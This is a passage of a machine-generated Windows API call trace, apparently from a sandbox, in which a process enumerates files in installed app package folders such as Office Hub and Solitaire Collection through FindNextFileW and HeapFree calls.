lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac29e374, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI825E~1.0_X")) returned 1 [0087.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.761] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac2ea82c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.761] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac54cddc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba2cef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac54cddc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0087.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.763] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac54cddc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabbf3417, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac59928e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tiles", cAlternateFileName="")) returned 0 [0087.763] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0087.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.763] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac59928e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac59928e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac59928e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="release-config.json", cAlternateFileName="")) returned 1 [0087.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.763] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac59928e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabbf429c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac657e5b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer", cAlternateFileName="")) returned 0 [0087.763] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0087.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.764] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac67e0b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac6a430d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac6a430d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Beihai.Common.Diagnostics.dll", cAlternateFileName="")) returned 1 [0087.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.766] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac7d55e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca37b9a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xaca37b9a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x65be00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PluginManagerWinRt.dll", cAlternateFileName="")) returned 1 [0087.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.766] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba02f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0087.766] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0087.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.766] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62a7e361, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI476B~1.0_X")) returned 1 [0087.767] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.767] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62aa45be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62aa45be, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62aa45be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.768] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62c6e205, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc423fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62c6e205, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0087.769] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.769] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0088.129] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.181] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c9445e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63254d7a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63254d7a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f0cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mso20imm.dll", cAlternateFileName="")) returned 1 [0088.182] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.182] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636d44de, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x636fa737, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x636fa737, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x68cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeHubBackgroundTask.dll", cAlternateFileName="")) returned 1 [0088.182] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.182] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638057b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x638057b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x638057b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x659, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Officehub_Base_PriConfig.xml", cAlternateFileName="")) returned 1 [0088.182] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.182] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc45469, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x662a39a5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0088.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0088.184] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63a41b0d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63b2692e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63b2692e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22c118, dwReserved0=0x80000018, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0088.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0088.184] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6424da48, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x64273ca1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x64273ca1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x77e90, dwReserved0=0x80000018, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0088.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0088.186] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x662a39a5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 0 [0088.186] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0088.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.187] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 0 [0088.187] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0088.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.188] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x662a39a5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x663ae9ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x0, cFileName="SystemX64", cAlternateFileName="SYSTEM~1")) returned 1 [0088.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.188] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x662a39a5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x663ae9ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x0, cFileName="SystemX64", cAlternateFileName="SYSTEM~1")) returned 0 [0088.188] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0088.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.188] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabd372f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="XMLOffKeys", cAlternateFileName="XMLOFF~1")) returned 1 [0088.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.190] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabd372f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="XMLOffKeys", cAlternateFileName="XMLOFF~1")) returned 0 [0088.190] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0088.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0088.191] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIC168~1.0_N")) returned 1 [0088.191] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.191] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a31eae, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x62a31eae, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x62a31eae, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2970, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0088.191] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.191] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0088.192] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0088.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0088.192] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390dfd83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI06F6~1.SCA")) returned 1 [0088.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.194] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925d50d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3925d50d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.scale-100.png", cAlternateFileName="")) returned 1 [0088.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.194] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96ea5b4, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0088.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.194] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925d50d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3925d50d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3925d50d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0088.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0088.195] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI9806~1.0_N")) returned 1 [0088.195] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387d97b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3387d97b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3387d97b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x295a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0088.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96c435e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0088.196] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0088.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34052404, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEA86~1.0_X")) returned 1 [0088.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.196] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340c4b15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x340ead73, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x340ead73, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0088.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.198] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, 